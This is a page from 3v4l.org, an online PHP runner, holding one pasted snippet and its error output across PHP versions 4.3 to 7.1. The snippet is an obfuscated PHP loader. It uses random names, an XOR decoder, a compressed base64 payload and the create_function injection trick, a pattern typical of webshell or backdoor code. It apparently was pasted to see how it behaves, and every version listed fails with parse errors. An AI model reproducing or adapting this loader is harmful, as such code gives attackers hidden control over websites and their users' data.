3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $hrxxdjjc=array( '$hrxxdjjc[0]=$hrxxdjjc[3];$nfswjori=nfswjori(6,13);$hrxxdjjc[0]=$nfswjori($hrxxdjjc[2]);', '"$hrxxdjjc[2]=gzuncompress(nfswjori(724,2139));', 'f2p6Tmlscm1hSVF3aH9+bVZzcWRLc352YWN0b0tqS3JybWBhdmh/XG1mZ350d2hSTUBQVkVJVFdSXF1DW0hWX1BLcmFndGhkb21pYHpjZ1V3anc+bWc1TE8iKiMjaWlFcFZ3dC57YGk4ZyFiVXYpJSJhZCVpRW12SXAwNWlmYWRnanB+cGdhbU1lVHFrfHZ2bC16aXx6fi1mbHtycThzc2dhYWdgPnx1am99Yi9qcHRtY3trd1heUEdBSXlidXBMamUsKzxvXlBHQUVBSVBcR0FZdHRlYHQsPVlnbXd6dWMveHx/a306aWxqZmtgZEV0aT1keURBQkRfWlJcXUZcVUVzSkVHQVhKXVlNSVlQUUdRVkNDVlVXWl1bVnlBVW0pdmRGOWB2ZzV6bm5RSDlwfmE1J2BsZmA4ZGhtdUZoaWhSWTlwfmE1J09ATTlgf298Q1RFUkJJQ2pXY05CQkFeQVZuUEJJQ1VTW0F6dU1vOXB+YU9yamhSY3R/fnttWXdlZEp1b3ZuYmljTmthdD5ydWdyZmZgOmR2aGJzcndPR3FhdD5ydWdyZmZgOnJnZ2V3YVdLcGthcn9tWWdhZkVKWndSOFBMV0lROGh8dmRPYllxdGVgdCw9WWdtd3p1Y1BXa2FXamVlcGF0e2RZZG1gSnxjcGxNcmVncEJKY3Z6dF5QR0FFXFVGWktUVk'.'NKWVh0cHdZclVCbUlwNT1waG5jbXxheD92c0dIczY9emhsZHAmd3p8Vkt0MD13dXtnb2F3cD9la2BPYVo5c2M8eWZoZWFzO2FudDJnK3dOUG0wby5VaUJRbDBwLmFyeSBzNU9PMHIuVU9odXFhfUVTTER1f2p6ZVZGJ2xqRX5wZ2EgJilUMHMud31qVkJBZWFnfmp9U29Kem4wcy5yb2Rhc3x2cmxtTTBzLmJxKU5XXEQ6ICg0aGttV15rYGUgKUhtY3k5VEtMaW6YlglxeqxL/rthPeGKG9a0RQM2jdSi7XBzR2oxTZR2vLIhSNEpDomIKFFd47viK8uJ8zJhNgP4tMvy1XFN6nDwvG351jOrwXGP7XAcP3sEM6l95ofxBnT7xNvtLpg1SSnJwV/yr8MhQuibMy/2rZl+0235VVshqGlAt5tK8aNefvP5DWYpV16uaVVBBuWOYjNuFxwiETQ2CTVeYwF0QyIyR4C4ME1SWZrdc6qefdQg4ZKgs8mXy3TWdjCCcLxR3aVhhK2J/yT2fmfae92lMh9wk/G+b0CpS9NNb9TAt6tbJCko0a2UQnLseTluEwPc3v8MF4UCLKLQhgNwjasoWCW4IFph4CNYrAzmnml5qUkwSdM4tuSjfLKMRr2SZljXZKK3wT0TlbaxCxzqnhLKD7Zm2s7Lzof+IxotwxiYpmlEH6yN2DVNbvPS+acOWlKg5QefuALc37ddEHJ7SlQohmZ4GRbTSNnbD/yhJ0pC6Qd/B1xoFuZbLfZ7J9oIR6gepkU3iVlhSohc'.'GJ3mzWFIwgDcuxuKPuCT/5/MS0Pj1Eb1TpJn3a2o8ygjh9HY9CChdiaL/QJlsopVVq0eWxH3OWK1KIzb/oLm6meXcXDbOfLq126z4BLDqX8znSdu43BJox89vQKjHK3tqaDHXPTxbwO5cng5qb56biciBTRHfAAT2qYzO4atdd6WKJvXeYnLPRSJiMM0O6lb5LivsVOtYlBRBQTfhnuwWd80ViMzvYKCrtwpyNxjMJHJRMMJKp9iwHRxE7Kuxu/BhS/a/ABIOBM+86LqrrTvf7UZ4iQojhIyzvvvBSHe2IUOY1gLzH76p3yQxLYiqcZDTwhncJf5prxcUMB0FyNN69R/PXcsBJg74dU6ibCbrwFl+yUTs8wsyiOQlEz8mDbb0hF82QAjXmKObuMf/EVrjHiXMlqhSMzcKUJcTChET9Z6yj6tiLfo7M83IJCDNwJebTWcAvTgABgtdqJ/i+qN4/6eGHyUPHwio5ldAkmnxCMXBiUueoSOKQGbVVMpadqbOrENHcrqVE769tErCRiMDVgTGQbl'.'/3RqPzTGZIY5AU9z2VWLlK6v77JD3dnwIpSpWdKUCucApEF9c1mxSEzU+UqjGodSUS72n9Q2ThNcxqpqDAuc6m6VsAogfX6Mf5imXoFTUzQCKJncyWF4R6Zgec2o4uHhx+nspyO5vj1jC/BgJ8jf2ZKdVanbnVbFl+jE9xXIDmjCOuIf5HMsxzGYNvuHZRs7YD/raP9wJYN9fYEYD/Mrew8w8mbHmbrsqGwPyZ0nH/ze+m+HXOnwMeUCJe1P1ghxnx0fC0/w5DYRLV1dAX0WGjq36b3lalKJD4U+5RWZC7xAiph6mDbFD2Buca4hkH9OFEaLP46o3qaw/asCgL1wphkNBdjvJqJc2hNT7RhZDIYP2SzJj12xgK9OJfghr1XyqmenfWwVKHNLUChkZfaUmYOk9a1UFy1SO7egONmzcEVjABYNeV03/DFpHl10pP/ZEmSinEAkrWpfd1V+vlLdP/oEkafOGccv9HJRLGojbA2YDn54GV1H5HFD3Ujyh0YUsMt6KPPPlG/jOStUODfZOJrpRYlSmPGbEFhPm3SEsTL62+a80ETU7gDU3iKcZHG0tmz+mcLXpuHyed6GShE7HQpgZeESy8p8EqB+RcY1/K8C6Zz7Qbfkbftx26JqeY0igTzpTW9MnLdC/uUrB6tyKTrNlcRnVYRaeFyFHXvDAtp2nrcz8tWW4c6hWVnAhpKIUmV8sFiKQGtpBcVVe7d0YFFDeeOWDxSviib0FM+vZ6UctgVRP7uBO74ZulSvjRG+tz04j7Ct7wkFImO4BJApcBSoaQp6R8lbh60N75paaB787KDnBq5h8W4b3R7P42UYvxTJJedxpGgUDs'.'ovd0FGAFYSCUZ3XY8WSY4hjf6ySYt4zgK1N132ayAsAlJsCdBi4S/3K/DRo6RGp1Cr8+yfsVxi9Y4ihsqUWpeporB8bNBT59W3yg04FUG/2DIv8YDl5L3L2ybJb9naC3p4dPTzgV2fc6w19tUVxwt9jLlzHRzQ7zB3ii65yqOwXhf/TwUc2odLgsc9QI1XE8RBAM9f5bk81C7/bPH6Yj1dUoLe7CatThOoxX4evUr7O5xgkE6PCUlbQa/DIzcGM0Epdnsne8ySwtOvegAdJz/bCzQadTzEjNXGHs4ZIT9CRNOjtldhVa3H1aok/fQivRJdPuAki9X8HEYrq9MdJgxdKnqvOvXt7JC+VwCHVJXdXbjO8f08ZWUnaVmQML4hqq75RAiery7ym8OwRxBR8qptaTGv1+Ym2BYwQvWV1/YIUwsYJWCZg+hafopMzWG0wEVCWd3OJ4jakbYb7Mpb0dSup85sCH5vwWYXZvRrgk//ZXXad3zek9mTPOf1ajf5PE5eJuznOvp87eYwki7XC6VX2iGhtbFbqVy6NDLCVv38zLHrLKv/eTn0rd5cQd2qoeT5ycbp4Or8KYTUjIJmsrm4iwH4+PDbrunxI4qhYSNY5NnPzkipHA7a1wUMfqFlt0hr8kdfdyQOd81UAgLLDAhCNGZxbqFjQ4zahYaYx59Zk6SnsIC74NCf7VYtMZpWvSPHyB0usLXmNyTVVptMfu7q8Z5CPLCjNdVSrT3ODJUX51WQ/7LTrCDRlhLT7+ctQGC7Mu5DWdUsWWypZLD4DsVCD/F8JQ10Z5pDvb0awqKugq8UzrNn9XGuq7sossl67CefI2a5k9tNJdiL4r5+HRg1xJ9av/+i7E/k4Rj4BpTo5/oc8jpXteaoRqEeLHoQYDKj039s5XuR5P6L7uhYN7k+oFRxCs+rlIFwwBxup/MZitKNzA==', "/*teyp\x74\x65\x60\x74\x2c\x3d\x59\x67\x6d\x77\x7a\x75\x63*/");$xntzmyn='create_'; if(function_exists($xntzmyn.='function')){ $xntzmyn('','}function nfswjori($start,$text_len){global $hrxxdjjc;$keypad=str_pad("",$text_len,"vdsqzifchtuqfdmr");$lomask=str_repeat("\x1f",$text_len);$himask=str_repeat("\xe0",$text_len);$text = substr($hrxxdjjc[0],$start,$text_len);return(($text^$keypad)&$lomask)|($text&$himask);}{'); for($qb=-1;++$qb<3;){ $hrxxdjjc[$qb]=$xntzmyn('','}'.$hrxxdjjc[$qb].'{'); }};unset($hrxxdjjc);?>
Output for 7.0.0 - 7.1.0
Parse error: syntax error, unexpected end of file in /in/mqM3B(10) : runtime-created function on line 1
Process exited with code 255.
Output for 5.4.0 - 5.6.28
Parse error: syntax error, unexpected end of file in /in/mqM3B(10) : runtime-created function on line 1 Parse error: syntax error, unexpected 'rZl' (T_STRING) in /in/mqM3B(10) : runtime-created function on line 1
Process exited with code 255.
Output for 4.4.2 - 4.4.9, 5.2.11 - 5.2.17, 5.3.1 - 5.3.29
Parse error: syntax error, unexpected $end in /in/mqM3B(10) : runtime-created function on line 1 Parse error: syntax error, unexpected T_STRING in /in/mqM3B(10) : runtime-created function on line 1
Process exited with code 255.
Output for 5.1.0 - 5.2.10, 5.3.0
Parse error: syntax error, unexpected $end in /in/mqM3B(10) : runtime-created function on line 1 Fatal error: Cannot redeclare __lambda_func() (previously declared in /in/mqM3B(10) : runtime-created function:1) in /in/mqM3B(10) : runtime-created function on line 1
Process exited with code 255.
Output for 5.0.0 - 5.0.5
Parse error: parse error, unexpected $ in /in/mqM3B(10) : runtime-created function on line 1 Fatal error: Cannot redeclare __lambda_func() (previously declared in /in/mqM3B(10) : runtime-created function:1) in /in/mqM3B(10) : runtime-created function on line 1
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.4.1
Parse error: parse error, unexpected $ in /in/mqM3B(10) : runtime-created function on line 1 Parse error: parse error, unexpected T_STRING in /in/mqM3B(10) : runtime-created function on line 1
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error in /in/mqM3B(10) : runtime-created function on line 1 Parse error: parse error in /in/mqM3B(10) : runtime-created function on line 1
Process exited with code 255.